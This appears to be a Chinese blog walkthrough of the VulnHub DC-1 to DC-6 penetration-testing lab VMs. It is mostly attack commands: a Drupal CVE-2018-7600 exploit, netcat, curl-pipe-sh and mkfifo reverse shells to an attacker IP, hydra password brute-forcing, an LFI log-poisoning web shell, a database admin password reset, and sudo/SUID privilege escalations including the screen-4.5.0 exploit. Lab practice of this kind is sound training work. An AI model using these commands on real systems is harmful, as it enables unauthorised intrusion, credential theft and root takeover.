DC靶场1-6

靶机下载:

https://download.vulnhub.com/dc/

环境配置:

在VM以net连接打开虚拟机

使用的机器:

攻击机:kali linux 靶机:DC1,2,4,5,6(IP随配)

 

DC1

1.nmap扫描端口

nmap -sS -A 192.168.119.135

DC靶场1-6_第1张图片

2. 访问页面,收集信息

http://192.168.119.135:80 DC靶场1-6_第2张图片

F12查看版本信息 DC靶场1-6_第3张图片

去网上搜索,发现此版本存在一个CVE漏洞(CVE-2018-7600)

3. 反弹shell

1)搜索相关脚本,运行,直接反弹shell https://github.com/pimps/CVE-2018-7600 执行命令: python drupa7-CVE-2018-7600.py http://192.168.119.135/ -c 'nc -e /bin/bash 192.168.119.129 4444' DC靶场1-6_第4张图片DC靶场1-6_第5张图片

2)当然,小编建议还是使用python反弹shell,不要问我为什么,我是后面才造python反弹的shell要好一些 python反弹shell命令

反弹 curl https://shell.now.sh/192.168.119.129:4444 |sh
获得shell后,输入:python -c 'import pty; pty.spawn("/bin/bash")'

DC靶场1-6_第6张图片

DC靶场1-6_第7张图片

3)使用msf自带的exp,获得shell

4.获得flag1

获得shell后,直接显示当前目录查看文件 DC靶场1-6_第8张图片

查看flag1.txt

5.获得flag2

根据flag1.txt提示,查找drupal的配置文件 网上搜索,在 /var/www/site/default/settings.php DC靶场1-6_第9张图片

6.获得flag4

根据 flag2 提示要爆破,还显示了数据库的账号,密码,尝试连接数据库 到了这里,我想我上面在反弹shell那里就建议使用第二种的用处到来了,如果是使用python直接反弹shell,那么就可以直接使用命令连接数据库

但是,若是第一种,和msf方法的话,我想,是不大好连的 所以小编我就独辟蹊径,先去拿到flag4 flag4的位置在/home目录下 查看flag4.txt DC靶场1-6_第10张图片

从提示的信息来看,我们flag在root里面,还是通过find方法获得root权限 但是,这样还是不够的,小编还是想要按着步骤来,想办法找到flag3 顺道,查看一下/etc/passwd有没有可以远程登陆的账号

DC靶场1-6_第11张图片

看到有flag4这个账号,使用hydra尝试ssh密码爆破

hydra -l flag4 -P /usr/share/john/password.lst -t 6 ssh://192.168.119.135

ssh登陆flag4账号 ssh [email protected]

连接数据库 mysql -host localhost -u dbuser -p 在mysql命令框内查看后台账户密码

use drupaldb;
show tables;
select * from users;

DC靶场1-6_第12张图片

搜了一下drupal怎么存储用户密码,它是把密码和用户名或其它随机字符串组合在一起后使用 MD5 方式加密。

但flag2都提示暴力破解不是唯一的方法,那就怎么省事怎么来了 退出mysql命令框

用drupal自带的 /var/www/scripts/password-hash.sh 加密 admin

php scripts/passwords-hash.sh admin > /tmp/pwd.txt

再cat一下 pwd.txt

利用mysql的权限修改一下admin的密码 update users set pass='$S$DSj5y2IZgAKxPrYtkVjUV2dyEM6roBYTCw9ep2wtVQVGJ1GepKYL' where name='admin';

登陆网页,尝试登陆后台 admin/admin

7.获得flag3

登陆后台后,在后台可以查看到flag3的文件,这里就不截图了

8.提权,获得最终flag

根据flag4.txt的文件,是通过find方法来提权到root权限,也许可能也是使用find 来搜索/root文件

DC靶场1-6_第13张图片

到网上搜索find相关的提权

find … - exec “…” \;查找文件后并执行命令

touch getflag
find / -type f -name getflag  -exec  "whoami" \ ;
find /root/thefinalflag.txt  -exec cat {} \;
find / -type f -name getflag -exec "/bin/sh" \;

DC靶场1-6_第14张图片

DC2

前期工作:

在打开网址的过程中,需要设定一下hosts才能访问web服务

  1. linux上: vim /etc/hosts 靶机IP DC-2 DC靶场1-6_第15张图片

  2. windows上: 进入C:\Windows\System32\drivers\etc 修改hosts里的内容,并保存 DC靶场1-6_第16张图片

渗透开始

1.nmap探测主机 nmap -sS -A 192.168.119.130 DC靶场1-6_第17张图片

2.访问页面,浏览查看有没有用的信息 DC靶场1-6_第18张图片DC靶场1-6_第19张图片 提示密码在这个页面,且需要使用cewl爬取: cewl -w passwd.txt http://dc-2 DC靶场1-6_第20张图片

3.寻找后台登陆页面,并获取登陆的账号密码 随意输入后台网址,会出现一个搜索框 DC靶场1-6_第21张图片 搜索login,会出现后台登陆页面: DC靶场1-6_第22张图片 有密码,有后台,就差账号了,因为是wordpress架构的网站,所以有一个工具是WPScan,专门扫面这种架构的网站(我的kali有问题,所以只能盗用一下别人的图) wpscan --url http://dc-2 --enumerate u DC靶场1-6_第23张图片 还有一种方法是使用字典,burpsuit爆破出他的账号

爆破出账号密码:

hydra -L user.txt -P passwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' DC靶场1-6_第24张图片

4.登陆后台 利用两个账号进行登陆,发现tom的后台登陆没有什么东西,但是jerry的后台登陆有flag2的提示: DC靶场1-6_第25张图片

5.ssh远程登陆 nmap进行全端口扫描: nmap -p- -sV 192.168.119.130 DC靶场1-6_第26张图片 尝试远程登陆账号 ssh [email protected] -p 7744 DC靶场1-6_第27张图片rbash,受限制的权限:https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

6.查看权限,并尝试提权 可知得到的bash是受限制的bash,所以,尝试提权为正常bash

BASH_CMDS[a]=/bin/sh;a
export PATH=/usr/sbin:/usr/bin:/sbin:/bin

DC靶场1-6_第28张图片 查看flag3.txt,可得: 这提示我么们需要去jerry的账号 DC靶场1-6_第29张图片

上面个提示我们们可以使用git提权,但是tom的权限不够,查看passwd文件,jerry账号是bash权限,可以执行git提权命令 git提权: sudo git -p help DC靶场1-6_第30张图片!/bin/bash DC靶场1-6_第31张图片

DC3

 

这个小编下载的镜像玩不了,就没写啦

 

DC4

1.nmap探测主机,确定ip,并查看服务 nmap 192.168.119.0/24 DC靶场1-6_第32张图片

2.访问页面,并尝试爆破 访问页面http://192.168.119.131/: DC靶场1-6_第33张图片 hydra爆破密码: hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.119.131 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F 3.登陆页面,burpsuit抓包,尝试修改命令,并反弹shell DC靶场1-6_第34张图片 nc反弹shell: nc -e /bin/sh 192.168.119.129 4444 DC靶场1-6_第35张图片DC靶场1-6_第36张图片 4.查看文件,发现三个账户,其中jim的账户中有密码文件 ls /home DC靶场1-6_第37张图片 保存密码到本地,当成密码字典,进行爆破

5.爆破猜解ssh密码,与账户 hydra -L dc4.txt -P passwd.txt -t 6 ssh://192.168.119.131 DC靶场1-6_第38张图片 6.登陆账号jim,并查看所在目录下的文件信息 ssh [email protected]

可以找到有邮件: DC靶场1-6_第39张图片

7.查看/var/mail/jim文件,获得charles密码,并切换登陆

DC靶场1-6_第40张图片

8.尝试sudo -l 提权,出现提示,使用teehee更改权限,并提权为root DC靶场1-6_第41张图片

sudo teehee /etc/crontab
/bin/sh

DC靶场1-6_第42张图片

D5

1.nmap探测靶机IP,还有靶机版本及类型

nmap 192.168.119.0/24 nmap -A 192.168.119.132 DC靶场1-6_第43张图片

2.访问页面,寻找突破口

DC靶场1-6_第44张图片DC靶场1-6_第45张图片

DC靶场1-6_第46张图片DC靶场1-6_第47张图片 以上是在thangkyou.php页面,不断刷新得到的结果。说明这页面有问题,继续尝试 在尝试LFI(本地文件包含)的过程有发现回显 DC靶场1-6_第48张图片

3.读取有用信息,上传执行马,并反弹shell

上传命令执行马到他的日志文件里(/var/log/nginx/access.log) DC靶场1-6_第49张图片

在报错页面执行命令,反弹shell(/var/log/nginx/error.log) nc -e /bin/bash 192.168.119.129 4444 DC靶场1-6_第50张图片

4.查看权限,提权

读取支持SUID的二进制文件,发现一个有趣的/bin/screen-4.5.0 DC靶场1-6_第51张图片

在kali攻击机上使用searchsploit screen-4.5.0 搜索有用的脚本,并尝试下载到本地 searchsploit screen-4.5.0 searchsploit -m 41154DC靶场1-6_第52张图片

查看41154.shPOC的内容,并按照里面的说明进行分解

cat 41154.sh
vim /tmp/libhax.c
vim /tmp/rootshell.c
vim /tmp/411154.sh

DC靶场1-6_第53张图片

按照红,黄,绿的顺序,依次分别保存在创建的新文档里 编译生成的c文件,并删除原来的c文件

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o rootshell rootshell.c
rm -f /tmp/libhax.c
rm -f /tmp/rootshell.c

DC靶场1-6_第54张图片 启用python服务器,将目标上传到靶机上 python -m SimpleHTTPServer

在之前得到的反弹shell的框里请求下载编译好的文件

cd /tmp
wget http://192.168.119.129:8000/41154.sh
wget http://192.168.119.129:8000/rootshell
wget http://192.168.119.129:8000/libhax.so

DC靶场1-6_第55张图片

给41154.sh授权,并运行,读取flag文件 chmod 777 41154.sh ./41154.sh cd /root ls cat thisistheflag.txt DC靶场1-6_第56张图片 至此,靶机结束

 

DC6

1.nmap探测主机

nmap 192.168.119.0/24

扫描有无主机漏洞

nmap --script=vuln 192.168.119.134

意外收获,获得用户名,保存为user.txt DC靶场1-6_第57张图片

2.爆破账号密码

由提示可得,密码字典为/usr/share/wordslits/rock.txt,输出为passwd.txt

hydra -L user.txt -P passwd1.txt wordy http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&rememberne=forever&wp-submit=Log In:S=1'

可得账号,密码为:mark/helpdesk01

3. 登陆后台

发现有Activity monitor,这个模块的tools中的lookup存在CVE-2018-15877远程命令执行漏洞

burpsuit直接反弹shell ·DC靶场1-6_第58张图片

nc -e /bin/bash 192.168.119.129 4444

DC靶场1-6_第59张图片

攻击机监听端口4444获得graham的shell

4.getshell

那到shell,根据前面几个靶场的经验,我想,/home目录下,肯定是有一些提示的,so:

cd /home/mark

cat things-to-do.txt

DC靶场1-6_第60张图片

给出了graham的密码,更换账号ssh登陆

ssh [email protected]

尝试提权

sudo -l DC靶场1-6_第61张图片

发现jens账户是无密得,不过ssh是登陆不上去的,但是可以看到jens账户对backups.sh是有权限执行的,也是有写入的权限,所以,尝试在执行此文件时,顺道反弹shell

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f| bin/sh -i 2>&1 | nc 192.168.119.129 5555' > backups.sh sudo -u jens /home/jens/backups.sh

攻击机监听端口5555,获得jens的shell

尝试提权

sudo -l DC靶场1-6_第62张图片

同样,发现root账户是无密得,但是nmap是有root权限的

5.提权

写一个nmap的脚本,运行从而获得root权限

echo 'os.execute("/bin/sh")' >root.nse

ls

sudo nmap --script=/home/jens/root.nse

whoami

cd ~

cat theflag.txt

 

你可能感兴趣的:(渗透靶机学习)